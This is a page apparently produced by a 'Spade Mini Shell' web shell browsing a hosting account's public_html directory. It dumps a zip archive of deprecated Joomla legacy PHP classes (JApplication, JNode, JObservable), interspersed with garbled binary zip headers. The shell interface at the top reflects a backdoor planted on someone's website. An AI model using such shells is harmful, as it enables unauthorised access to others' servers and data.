Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/css/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/css/legacy.zip

PK�}�[½[R�u�uapplication/application.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Application
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Application\BaseApplication;
use Joomla\Registry\Registry;

JLog::add('JApplication is deprecated.', JLog::WARNING,
'deprecated');

/**
 * Base class for a Joomla! application.
 *
 * Acts as a Factory class for application specific objects and provides
many
 * supporting API functions. Derived clases should supply the route(),
dispatch()
 * and render() functions.
 *
 * @since       1.5
 * @deprecated  3.2  Use CMSApplication instead unless specified otherwise
 */
class JApplication extends BaseApplication
{
	/**
	 * The client identifier.
	 *
	 * @var    integer
	 * @since  1.5
	 * @deprecated  3.2
	 */
	protected $_clientId = null;

	/**
	 * The application message queue.
	 *
	 * @var    array
	 * @since  1.5
	 * @deprecated  3.2
	 */
	protected $_messageQueue = array();

	/**
	 * The name of the application.
	 *
	 * @var    array
	 * @since  1.5
	 * @deprecated  3.2
	 */
	protected $_name = null;

	/**
	 * The scope of the application.
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  3.2
	 */
	public $scope = null;

	/**
	 * The time the request was made.
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  3.2
	 */
	public $requestTime = null;

	/**
	 * The time the request was made as Unix timestamp.
	 *
	 * @var    integer
	 * @since  1.6
	 * @deprecated  3.2
	 */
	public $startTime = null;

	/**
	 * The application client object.
	 *
	 * @var    JApplicationWebClient
	 * @since  3.0
	 * @deprecated  3.2
	 */
	public $client;

	/**
	 * JApplication instances container.
	 *
	 * @var    JApplication[]
	 * @since  2.5
	 * @deprecated  3.2
	 */
	protected static $instances = array();

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A configuration array including optional
elements such as session
	 * session_name, clientId and others. This is not exhaustive.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function __construct($config = array())
	{
		// Set the view name.
		$this->_name = $this->getName();

		// Only set the clientId if available.
		if (isset($config['clientId']))
		{
			$this->_clientId = $config['clientId'];
		}

		// Enable sessions by default.
		if (!isset($config['session']))
		{
			$config['session'] = true;
		}

		// Create the input object
		$this->input = new JInput;

		$this->client = new JApplicationWebClient;

		$this->loadDispatcher();

		// Set the session default name.
		if (!isset($config['session_name']))
		{
			$config['session_name'] = $this->_name;
		}

		// Set the default configuration file.
		if (!isset($config['config_file']))
		{
			$config['config_file'] = 'configuration.php';
		}

		// Create the configuration object.
		if (file_exists(JPATH_CONFIGURATION . '/' .
$config['config_file']))
		{
			$this->_createConfiguration(JPATH_CONFIGURATION . '/' .
$config['config_file']);
		}

		// Create the session if a session name is passed.
		if ($config['session'] !== false)
		{
			$this->_createSession(JApplicationHelper::getHash($config['session_name']));
		}

		$this->requestTime = gmdate('Y-m-d H:i');

		// Used by task system to ensure that the system doesn't go over
time.
		$this->startTime = JProfiler::getmicrotime();
	}

	/**
	 * Returns the global JApplicationCms object, only creating it if it
	 * doesn't already exist.
	 *
	 * @param   mixed   $client  A client identifier or name.
	 * @param   array   $config  An optional associative array of
configuration settings.
	 * @param   string  $prefix  A prefix for class names
	 *
	 * @return  JApplicationCms  A JApplicationCms object.
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationCms::getInstance() instead
	 * @note    As of 3.2, this proxies to JApplicationCms::getInstance()
	 */
	public static function getInstance($client, $config = array(), $prefix =
'J')
	{
		return JApplicationCms::getInstance($client);
	}

	/**
	 * Initialise the application.
	 *
	 * @param   array  $options  An optional associative array of
configuration settings.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function initialise($options = array())
	{
		// Set the language in the class.
		$config = JFactory::getConfig();

		// Check that we were given a language in the array (since by default may
be blank).
		if (isset($options['language']))
		{
			$config->set('language', $options['language']);
		}

		// Set user specific editor.
		$user = JFactory::getUser();
		$editor = $user->getParam('editor',
$this->get('editor'));

		if (!JPluginHelper::isEnabled('editors', $editor))
		{
			$editor = $this->get('editor');

			if (!JPluginHelper::isEnabled('editors', $editor))
			{
				$editor = 'none';
			}
		}

		$config->set('editor', $editor);

		// Trigger the onAfterInitialise event.
		JPluginHelper::importPlugin('system');
		$this->triggerEvent('onAfterInitialise');
	}

	/**
	 * Route the application.
	 *
	 * Routing is the process of examining the request environment to
determine which
	 * component should receive the request. The component optional parameters
	 * are then set in the request object to be processed when the application
is being
	 * dispatched.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function route()
	{
		// Get the full request URI.
		$uri = clone JUri::getInstance();

		$router = $this->getRouter();
		$result = $router->parse($uri);

		foreach ($result as $key => $value)
		{
			$this->input->def($key, $value);
		}

		// Trigger the onAfterRoute event.
		JPluginHelper::importPlugin('system');
		$this->triggerEvent('onAfterRoute');
	}

	/**
	 * Dispatch the application.
	 *
	 * Dispatching is the process of pulling the option from the request
object and
	 * mapping them to a component. If the component does not exist, it
handles
	 * determining a default component to dispatch.
	 *
	 * @param   string  $component  The component to dispatch.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function dispatch($component = null)
	{
		$document = JFactory::getDocument();

		$contents = JComponentHelper::renderComponent($component);
		$document->setBuffer($contents, 'component');

		// Trigger the onAfterDispatch event.
		JPluginHelper::importPlugin('system');
		$this->triggerEvent('onAfterDispatch');
	}

	/**
	 * Render the application.
	 *
	 * Rendering is the process of pushing the document buffers into the
template
	 * placeholders, retrieving data from the document and pushing it into
	 * the JResponse buffer.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function render()
	{
		$template = $this->getTemplate(true);

		$params = array('template' => $template->template,
'file' => 'index.php', 'directory' =>
JPATH_THEMES, 'params' => $template->params);

		// Parse the document.
		$document = JFactory::getDocument();
		$document->parse($params);

		// Trigger the onBeforeRender event.
		JPluginHelper::importPlugin('system');
		$this->triggerEvent('onBeforeRender');

		// Render the document.
		$caching = ($this->get('caching') >= 2);
		JResponse::setBody($document->render($caching, $params));

		// Trigger the onAfterRender event.
		$this->triggerEvent('onAfterRender');
	}

	/**
	 * Redirect to another URL.
	 *
	 * Optionally enqueues a message in the system message queue (which will
be displayed
	 * the next time a page is loaded) using the enqueueMessage method. If the
headers have
	 * not been sent the redirect will be accomplished using a "301 Moved
Permanently"
	 * code in the header pointing to the new location. If the headers have
already been
	 * sent this will be accomplished using a JavaScript statement.
	 *
	 * @param   string   $url      The URL to redirect to. Can only be
http/https URL
	 * @param   string   $msg      An optional message to display on redirect.
	 * @param   string   $msgType  An optional message type. Defaults to
message.
	 * @param   boolean  $moved    True if the page is 301 Permanently Moved,
otherwise 303 See Other is assumed.
	 *
	 * @return  void  Calls exit().
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 *
	 * @see     JApplication::enqueueMessage()
	 */
	public function redirect($url, $msg = '', $msgType =
'message', $moved = false)
	{
		// Check for relative internal links.
		if (preg_match('#^index2?\.php#', $url))
		{
			$url = JUri::base() . $url;
		}

		// Strip out any line breaks.
		$url = preg_split("/[\r\n]/", $url);
		$url = $url[0];

		/*
		 * If we don't start with a http we need to fix this before we
proceed.
		 * We could validly start with something else (e.g. ftp), though this
would
		 * be unlikely and isn't supported by this API.
		 */
		if (stripos($url, 'http') !== 0)
		{
			$uri = JUri::getInstance();
			$prefix = $uri->toString(array('scheme', 'user',
'pass', 'host', 'port'));

			if ($url[0] === '/')
			{
				// We just need the prefix since we have a path relative to the root.
				$url = $prefix . $url;
			}
			else
			{
				// It's relative to where we are now, so lets add that.
				$parts = explode('/',
$uri->toString(array('path')));
				array_pop($parts);
				$path = implode('/', $parts) . '/';
				$url = $prefix . $path . $url;
			}
		}

		// If the message exists, enqueue it.
		if (trim($msg))
		{
			$this->enqueueMessage($msg, $msgType);
		}

		// Persist messages if they exist.
		if (count($this->_messageQueue))
		{
			$session = JFactory::getSession();
			$session->set('application.queue',
$this->_messageQueue);
		}

		// If the headers have been sent, then we cannot send an additional
location header
		// so we will output a javascript redirect statement.
		if (headers_sent())
		{
			echo "<script>document.location.href=" .
json_encode(str_replace("'", '&apos;', $url))
. ";</script>\n";
		}
		else
		{
			$document = JFactory::getDocument();

			jimport('phputf8.utils.ascii');

			if (($this->client->engine == JApplicationWebClient::TRIDENT)
&& !utf8_is_ascii($url))
			{
				// MSIE type browser and/or server cause issues when URL contains utf8
character,so use a javascript redirect method
				echo '<html><head><meta
http-equiv="content-type" content="text/html; charset='
. $document->getCharset() . '" />'
					. '<script>document.location.href=' .
json_encode(str_replace("'", '&apos;', $url))
. ';</script></head></html>';
			}
			else
			{
				// All other browsers, use the more efficient HTTP header method
				header($moved ? 'HTTP/1.1 301 Moved Permanently' :
'HTTP/1.1 303 See other');
				header('Location: ' . $url);
				header('Content-Type: text/html; charset=' .
$document->getCharset());
			}
		}

		$this->close();
	}

	/**
	 * Enqueue a system message.
	 *
	 * @param   string  $msg   The message to enqueue.
	 * @param   string  $type  The message type. Default is message.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function enqueueMessage($msg, $type = 'message')
	{
		// For empty queue, if messages exists in the session, enqueue them
first.
		if (!count($this->_messageQueue))
		{
			$session = JFactory::getSession();
			$sessionQueue = $session->get('application.queue');

			if (count($sessionQueue))
			{
				$this->_messageQueue = $sessionQueue;
				$session->set('application.queue', null);
			}
		}

		// Enqueue the message.
		$this->_messageQueue[] = array('message' => $msg,
'type' => strtolower($type));
	}

	/**
	 * Get the system message queue.
	 *
	 * @return  array  The system message queue.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getMessageQueue()
	{
		// For empty queue, if messages exists in the session, enqueue them.
		if (!count($this->_messageQueue))
		{
			$session = JFactory::getSession();
			$sessionQueue = $session->get('application.queue');

			if (count($sessionQueue))
			{
				$this->_messageQueue = $sessionQueue;
				$session->set('application.queue', null);
			}
		}

		return $this->_messageQueue;
	}

	/**
	 * Gets a configuration value.
	 *
	 * An example is in application/japplication-getcfg.php Getting a
configuration
	 *
	 * @param   string  $varname  The name of the value to get.
	 * @param   string  $default  Default value to return
	 *
	 * @return  mixed  The user state.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getCfg($varname, $default = null)
	{
		$config = JFactory::getConfig();

		return $config->get('' . $varname, $default);
	}

	/**
	 * Method to get the application name.
	 *
	 * The dispatcher name is by default parsed using the classname, or it can
be set
	 * by passing a $config['name'] in the class constructor.
	 *
	 * @return  string  The name of the dispatcher.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getName()
	{
		$name = $this->_name;

		if (empty($name))
		{
			$r = null;

			if (!preg_match('/J(.*)/i', get_class($this), $r))
			{
				JLog::add(JText::_('JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME'),
JLog::WARNING, 'jerror');
			}

			$name = strtolower($r[1]);
		}

		return $name;
	}

	/**
	 * Gets a user state.
	 *
	 * @param   string  $key      The path of the state.
	 * @param   mixed   $default  Optional default value, returned if the
internal value is null.
	 *
	 * @return  mixed  The user state or null.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getUserState($key, $default = null)
	{
		$session = JFactory::getSession();
		$registry = $session->get('registry');

		if ($registry !== null)
		{
			return $registry->get($key, $default);
		}

		return $default;
	}

	/**
	 * Sets the value of a user state variable.
	 *
	 * @param   string  $key    The path of the state.
	 * @param   string  $value  The value of the variable.
	 *
	 * @return  mixed  The previous state, if one existed.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function setUserState($key, $value)
	{
		$session = JFactory::getSession();
		$registry = $session->get('registry');

		if ($registry !== null)
		{
			return $registry->set($key, $value);
		}
	}

	/**
	 * Gets the value of a user state variable.
	 *
	 * @param   string  $key      The key of the user state variable.
	 * @param   string  $request  The name of the variable passed in a
request.
	 * @param   string  $default  The default value for the variable if not
found. Optional.
	 * @param   string  $type     Filter for the variable, for valid values
see {@link JFilterInput::clean()}. Optional.
	 *
	 * @return  mixed  The request user state.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getUserStateFromRequest($key, $request, $default = null,
$type = 'none')
	{
		$cur_state = $this->getUserState($key, $default);
		$new_state = $this->input->get($request, null, $type);

		// Save the new value only if it was set in this request.
		if ($new_state !== null)
		{
			$this->setUserState($key, $new_state);
		}
		else
		{
			$new_state = $cur_state;
		}

		return $new_state;
	}

	/**
	 * Login authentication function.
	 *
	 * Username and encoded password are passed the onUserLogin event which
	 * is responsible for the user validation. A successful validation updates
	 * the current session record with the user's details.
	 *
	 * Username and encoded password are sent as credentials (along with other
	 * possibilities) to each observer (authentication plugin) for user
	 * validation.  Successful validation will update the current session with
	 * the user details.
	 *
	 * @param   array  $credentials  Array('username' => string,
'password' => string)
	 * @param   array  $options      Array('remember' => boolean)
	 *
	 * @return  boolean|JException  True on success, false if failed or silent
handling is configured, or a JException object on authentication error.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function login($credentials, $options = array())
	{
		JPluginHelper::importPlugin('user');

		// Get the global JAuthentication object.
		$authenticate = JAuthentication::getInstance();
		$response = $authenticate->authenticate($credentials, $options);

		if ($response->status === JAuthentication::STATUS_SUCCESS)
		{
			// Validate that the user should be able to login (different to being
authenticated).
			// This permits authentication plugins blocking the user
			$authorisations = $authenticate->authorise($response, $options);

			foreach ($authorisations as $authorisation)
			{
				$denied_states = array(JAuthentication::STATUS_EXPIRED,
JAuthentication::STATUS_DENIED);

				if (in_array($authorisation->status, $denied_states))
				{
					// Trigger onUserAuthorisationFailure Event.
					$this->triggerEvent('onUserAuthorisationFailure',
array((array) $authorisation));

					// If silent is set, just return false.
					if (isset($options['silent']) &&
$options['silent'])
					{
						return false;
					}

					// Return the error.
					switch ($authorisation->status)
					{
						case JAuthentication::STATUS_EXPIRED:
							return JError::raiseWarning('102002',
JText::_('JLIB_LOGIN_EXPIRED'));
							break;

						case JAuthentication::STATUS_DENIED:
							return JError::raiseWarning('102003',
JText::_('JLIB_LOGIN_DENIED'));
							break;

						default:
							return JError::raiseWarning('102004',
JText::_('JLIB_LOGIN_AUTHORISATION'));
							break;
					}
				}
			}

			// Import the user plugin group.
			JPluginHelper::importPlugin('user');

			// OK, the credentials are authenticated and user is authorised. 
Let's fire the onLogin event.
			$results = $this->triggerEvent('onUserLogin', array((array)
$response, $options));

			/*
			 * If any of the user plugins did not successfully complete the login
routine
			 * then the whole method fails.
			 *
			 * Any errors raised should be done in the plugin as this provides the
ability
			 * to provide much more information about why the routine may have
failed.
			 */
			$user = JFactory::getUser();

			if ($response->type === 'Cookie')
			{
				$user->set('cookieLogin', true);
			}

			if (in_array(false, $results, true) == false)
			{
				$options['user'] = $user;
				$options['responseType'] = $response->type;

				if (isset($response->length, $response->secure,
$response->lifetime))
				{
					$options['length'] = $response->length;
					$options['secure'] = $response->secure;
					$options['lifetime'] = $response->lifetime;
				}

				// The user is successfully logged in. Run the after login events
				$this->triggerEvent('onUserAfterLogin', array($options));
			}

			return true;
		}

		// Trigger onUserLoginFailure Event.
		$this->triggerEvent('onUserLoginFailure', array((array)
$response));

		// If silent is set, just return false.
		if (isset($options['silent']) &&
$options['silent'])
		{
			return false;
		}

		// If status is success, any error will have been raised by the user
plugin
		if ($response->status !== JAuthentication::STATUS_SUCCESS)
		{
			JLog::add($response->error_message, JLog::WARNING,
'jerror');
		}

		return false;
	}

	/**
	 * Logout authentication function.
	 *
	 * Passed the current user information to the onUserLogout event and
reverts the current
	 * session record back to 'anonymous' parameters.
	 * If any of the authentication plugins did not successfully complete
	 * the logout routine then the whole method fails. Any errors raised
	 * should be done in the plugin as this provides the ability to give
	 * much more information about why the routine may have failed.
	 *
	 * @param   integer  $userid   The user to load - Can be an integer or
string - If string, it is converted to ID automatically
	 * @param   array    $options  Array('clientid' => array of
client id's)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function logout($userid = null, $options = array())
	{
		// Get a user object from the JApplication.
		$user = JFactory::getUser($userid);

		// Build the credentials array.
		$parameters['username'] = $user->get('username');
		$parameters['id'] = $user->get('id');

		// Set clientid in the options array if it hasn't been set already.
		if (!isset($options['clientid']))
		{
			$options['clientid'] = $this->getClientId();
		}

		// Import the user plugin group.
		JPluginHelper::importPlugin('user');

		// OK, the credentials are built. Lets fire the onLogout event.
		$results = $this->triggerEvent('onUserLogout',
array($parameters, $options));

		if (!in_array(false, $results, true))
		{
				$options['username'] = $user->get('username');
				$this->triggerEvent('onUserAfterLogout', array($options));

			return true;
		}

		// Trigger onUserLoginFailure Event.
		$this->triggerEvent('onUserLogoutFailure',
array($parameters));

		return false;
	}

	/**
	 * Gets the name of the current template.
	 *
	 * @param   boolean  $params  An optional associative array of
configuration settings
	 *
	 * @return  mixed  System is the fallback.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getTemplate($params = false)
	{
		$template = new stdClass;

		$template->template = 'system';
		$template->params   = new Registry;

		if ($params)
		{
			return $template;
		}

		return $template->template;
	}

	/**
	 * Returns the application JRouter object.
	 *
	 * @param   string  $name     The name of the application.
	 * @param   array   $options  An optional associative array of
configuration settings.
	 *
	 * @return  JRouter|null  A JRouter object
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public static function getRouter($name = null, array $options = array())
	{
		if (!isset($name))
		{
			$app = JFactory::getApplication();
			$name = $app->getName();
		}

		try
		{
			$router = JRouter::getInstance($name, $options);
		}
		catch (Exception $e)
		{
			return;
		}

		return $router;
	}

	/**
	 * This method transliterates a string into a URL
	 * safe string or returns a URL safe UTF-8 string
	 * based on the global configuration
	 *
	 * @param   string  $string  String to process
	 *
	 * @return  string  Processed string
	 *
	 * @since   1.6
	 * @deprecated  3.2  Use JApplicationHelper::stringURLSafe instead
	 */
	public static function stringURLSafe($string)
	{
		return JApplicationHelper::stringURLSafe($string);
	}

	/**
	 * Returns the application JPathway object.
	 *
	 * @param   string  $name     The name of the application.
	 * @param   array   $options  An optional associative array of
configuration settings.
	 *
	 * @return  JPathway|null  A JPathway object
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getPathway($name = null, $options = array())
	{
		if (!isset($name))
		{
			$name = $this->_name;
		}

		try
		{
			$pathway = JPathway::getInstance($name, $options);
		}
		catch (Exception $e)
		{
			return;
		}

		return $pathway;
	}

	/**
	 * Returns the application JPathway object.
	 *
	 * @param   string  $name     The name of the application/client.
	 * @param   array   $options  An optional associative array of
configuration settings.
	 *
	 * @return  JMenu|null  JMenu object.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getMenu($name = null, $options = array())
	{
		if (!isset($name))
		{
			$name = $this->_name;
		}

		try
		{
			$menu = JMenu::getInstance($name, $options);
		}
		catch (Exception $e)
		{
			return;
		}

		return $menu;
	}

	/**
	 * Provides a secure hash based on a seed
	 *
	 * @param   string  $seed  Seed string.
	 *
	 * @return  string  A secure hash
	 *
	 * @since   1.6
	 * @deprecated  3.2  Use JApplicationHelper::getHash instead
	 */
	public static function getHash($seed)
	{
		return JApplicationHelper::getHash($seed);
	}

	/**
	 * Create the configuration registry.
	 *
	 * @param   string  $file  The path to the configuration file
	 *
	 * @return  JConfig  A JConfig object
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	protected function _createConfiguration($file)
	{
		JLoader::register('JConfig', $file);

		// Create the JConfig object.
		$config = new JConfig;

		// Get the global configuration object.
		$registry = JFactory::getConfig();

		// Load the configuration values into the registry.
		$registry->loadObject($config);

		return $config;
	}

	/**
	 * Create the user session.
	 *
	 * Old sessions are flushed based on the configuration value for the
cookie
	 * lifetime. If an existing session, then the last access time is updated.
	 * If a new session, a session id is generated and a record is created in
	 * the #__sessions table.
	 *
	 * @param   string  $name  The sessions name.
	 *
	 * @return  JSession  JSession on success. May call exit() on database
error.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	protected function _createSession($name)
	{
		$options = array();
		$options['name'] = $name;

		switch ($this->_clientId)
		{
			case 0:
				if ($this->get('force_ssl') == 2)
				{
					$options['force_ssl'] = true;
				}
				break;

			case 1:
				if ($this->get('force_ssl') >= 1)
				{
					$options['force_ssl'] = true;
				}
				break;
		}

		$this->registerEvent('onAfterSessionStart', array($this,
'afterSessionStart'));

		$session = JFactory::getSession($options);
		$session->initialise($this->input, $this->dispatcher);
		$session->start();

		// TODO: At some point we need to get away from having session data
always in the db.

		$db = JFactory::getDbo();

		// Remove expired sessions from the database.
		$time = time();

		if ($time % 2)
		{
			// The modulus introduces a little entropy, making the flushing less
accurate
			// but fires the query less than half the time.
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__session'))
				->where($db->quoteName('time') . ' < ' .
(int) ($time - $session->getExpire()));

			$db->setQuery($query);
			$db->execute();
		}

		// Check to see the the session already exists.
		$handler = $this->get('session_handler');

		if (($handler !== 'database' && ($time % 2 ||
$session->isNew())) || ($handler === 'database' &&
$session->isNew()))
		{
			$this->checkSession();
		}

		return $session;
	}

	/**
	 * Checks the user session.
	 *
	 * If the session record doesn't exist, initialise it.
	 * If session is new, create session variables
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @deprecated  3.2
	 */
	public function checkSession()
	{
		$db = JFactory::getDbo();
		$session = JFactory::getSession();
		$user = JFactory::getUser();

		$query = $db->getQuery(true)
			->select($db->quoteName('session_id'))
			->from($db->quoteName('#__session'))
			->where($db->quoteName('session_id') . ' = ' .
$db->quoteBinary($session->getId()));

		$db->setQuery($query, 0, 1);
		$exists = $db->loadResult();

		// If the session record doesn't exist initialise it.
		if (!$exists)
		{
			$query->clear();

			if ($session->isNew())
			{
				$query->insert($db->quoteName('#__session'))
					->columns($db->quoteName('session_id') . ',
' . $db->quoteName('client_id') . ', ' .
$db->quoteName('time'))
					->values($db->quote($session->getId()) . ', ' .
(int) $this->getClientId() . ', ' . time());
				$db->setQuery($query);
			}
			else
			{
				$query->insert($db->quoteName('#__session'))
					->columns(
						$db->quoteName('session_id') . ', ' .
$db->quoteName('client_id') . ', ' .
$db->quoteName('guest') . ', ' .
						$db->quoteName('time') . ', ' .
$db->quoteName('userid') . ', ' .
$db->quoteName('username')
					)
					->values(
						$db->quote($session->getId()) . ', ' . (int)
$this->getClientId() . ', ' . (int)
$user->get('guest') . ', ' .
						(int) $session->get('session.timer.start') . ',
' . (int) $user->get('id') . ', ' .
$db->quote($user->get('username'))
					);

				$db->setQuery($query);
			}

			// If the insert failed, exit the application.
			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				jexit($e->getMessage());
			}
		}
	}

	/**
	 * After the session has been started we need to populate it with some
default values.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 * @deprecated  3.2
	 */
	public function afterSessionStart()
	{
		$session = JFactory::getSession();

		if ($session->isNew())
		{
			$session->set('registry', new Registry);
			$session->set('user', new JUser);
		}
	}

	/**
	 * Gets the client id of the current running application.
	 *
	 * @return  integer  A client identifier.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function getClientId()
	{
		return $this->_clientId;
	}

	/**
	 * Is admin interface?
	 *
	 * @return  boolean  True if this application is administrator.
	 *
	 * @since   1.0.2
	 * @deprecated  3.2
	 */
	public function isAdmin()
	{
		return $this->isClient('administrator');
	}

	/**
	 * Is site interface?
	 *
	 * @return  boolean  True if this application is site.
	 *
	 * @since   1.5
	 * @deprecated  3.2
	 */
	public function isSite()
	{
		return $this->isClient('site');
	}

	/**
	 * Check the client interface by name.
	 *
	 * @param   string  $identifier  String identifier for the application
interface
	 *
	 * @return  boolean  True if this application is of the given type client
interface.
	 *
	 * @since   3.7.0
	 */
	public function isClient($identifier)
	{
		return $this->getName() == $identifier;
	}

	/**
	 * Method to determine if the host OS is  Windows
	 *
	 * @return  boolean  True if Windows OS
	 *
	 * @since   1.6
	 * @deprecated  4.0 Use the IS_WIN constant instead.
	 */
	public static function isWinOs()
	{
		JLog::add('JApplication::isWinOS() is deprecated. Use the IS_WIN
constant instead.', JLog::WARNING, 'deprecated');

		return IS_WIN;
	}

	/**
	 * Determine if we are using a secure (SSL) connection.
	 *
	 * @return  boolean  True if using SSL, false if not.
	 *
	 * @since   3.0
	 * @deprecated  3.2
	 */
	public function isSSLConnection()
	{
		return (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] === 'on') ||
getenv('SSL_PROTOCOL_VERSION');
	}

	/**
	 * Returns the response as a string.
	 *
	 * @return  string  The response
	 *
	 * @since   1.6
	 * @deprecated  3.2
	 */
	public function __toString()
	{
		$compress = $this->get('gzip', false);

		return JResponse::toString($compress);
	}
}
PK�}�[�-���
base/node.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Base
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Tree Node Class.
 *
 * @since       1.5
 * @deprecated  3.0
 */
class JNode extends JObject
{
	/**
	 * Parent node
	 *
	 * @var    JNode
	 * @since  1.5
	 * @deprecated  3.0
	 */
	protected $_parent = null;

	/**
	 * Array of Children
	 *
	 * @var    JNode[]
	 * @since  1.5
	 * @deprecated  3.0
	 */
	protected $_children = array();

	/**
	 * Constructor
	 *
	 * @since  1.5
	 * @deprecated  3.0
	 */
	public function __construct()
	{
		JLog::add('JNode::__construct() is deprecated.', JLog::WARNING,
'deprecated');

		return true;
	}

	/**
	 * Add child to this node
	 *
	 * If the child already has a parent, the link is unset
	 *
	 * @param   JNode  &$child  The child to be added
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function addChild(&$child)
	{
		JLog::add('JNode::addChild() is deprecated.', JLog::WARNING,
'deprecated');

		if ($child instanceof Jnode)
		{
			$child->setParent($this);
		}
	}

	/**
	 * Set the parent of a this node
	 *
	 * If the node already has a parent, the link is unset
	 *
	 * @param   JNode|null  &$parent  The JNode for parent to be set or
null
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function setParent(&$parent)
	{
		JLog::add('JNode::setParent() is deprecated.', JLog::WARNING,
'deprecated');

		if ($parent instanceof JNode || $parent === null)
		{
			$hash = spl_object_hash($this);

			if ($this->_parent !== null)
			{
				unset($this->_parent->children[$hash]);
			}

			if ($parent !== null)
			{
				$parent->_children[$hash] = & $this;
			}

			$this->_parent = & $parent;
		}
	}

	/**
	 * Get the children of this node
	 *
	 * @return  JNode[]  The children
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function &getChildren()
	{
		JLog::add('JNode::getChildren() is deprecated.', JLog::WARNING,
'deprecated');

		return $this->_children;
	}

	/**
	 * Get the parent of this node
	 *
	 * @return  JNode|null  JNode object with the parent or null for no parent
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function &getParent()
	{
		JLog::add('JNode::getParent() is deprecated.', JLog::WARNING,
'deprecated');

		return $this->_parent;
	}

	/**
	 * Test if this node has children
	 *
	 * @return  boolean  True if there are children
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function hasChildren()
	{
		JLog::add('JNode::hasChildren() is deprecated.', JLog::WARNING,
'deprecated');

		return (bool) count($this->_children);
	}

	/**
	 * Test if this node has a parent
	 *
	 * @return  boolean  True if there is a parent
	 *
	 * @since   1.6
	 * @deprecated  3.0
	 */
	public function hasParent()
	{
		JLog::add('JNode::hasParent() is deprecated.', JLog::WARNING,
'deprecated');

		return $this->getParent() != null;
	}
}
PK�}�[�m��88base/observable.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Base
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Abstract observable class to implement the observer design pattern
 *
 * @since       1.5
 * @deprecated  2.5
 */
class JObservable extends JObject
{
	/**
	 * An array of Observer objects to notify
	 *
	 * @var    array
	 * @since  1.5
	 * @deprecated  2.5
	 */
	protected $_observers = array();

	/**
	 * The state of the observable object
	 *
	 * @var    mixed
	 * @since  1.5
	 * @deprecated  2.5
	 */
	protected $_state = null;

	/**
	 * A multi dimensional array of [function][] = key for observers
	 *
	 * @var    array
	 * @since  1.6
	 * @deprecated  2.5
	 */
	protected $_methods = array();

	/**
	 * Constructor
	 *
	 * Note: Make Sure it's not directly instantiated
	 *
	 * @since  1.5
	 * @deprecated  2.5
	 */
	public function __construct()
	{
		$this->_observers = array();
	}

	/**
	 * Get the state of the JObservable object
	 *
	 * @return  mixed  The state of the object.
	 *
	 * @since   1.5
	 * @deprecated  2.5
	 */
	public function getState()
	{
		return $this->_state;
	}

	/**
	 * Update each attached observer object and return an array of their
return values
	 *
	 * @return  array  Array of return values from the observers
	 *
	 * @since   1.5
	 * @deprecated  2.5
	 */
	public function notify()
	{
		// Iterate through the _observers array
		foreach ($this->_observers as $observer)
		{
			$return[] = $observer->update();
		}

		return $return;
	}

	/**
	 * Attach an observer object
	 *
	 * @param   object  $observer  An observer object to attach
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  2.5
	 */
	public function attach($observer)
	{
		if (is_array($observer))
		{
			if (!isset($observer['handler']) ||
!isset($observer['event']) ||
!is_callable($observer['handler']))
			{
				return;
			}

			// Make sure we haven't already attached this array as an observer
			foreach ($this->_observers as $check)
			{
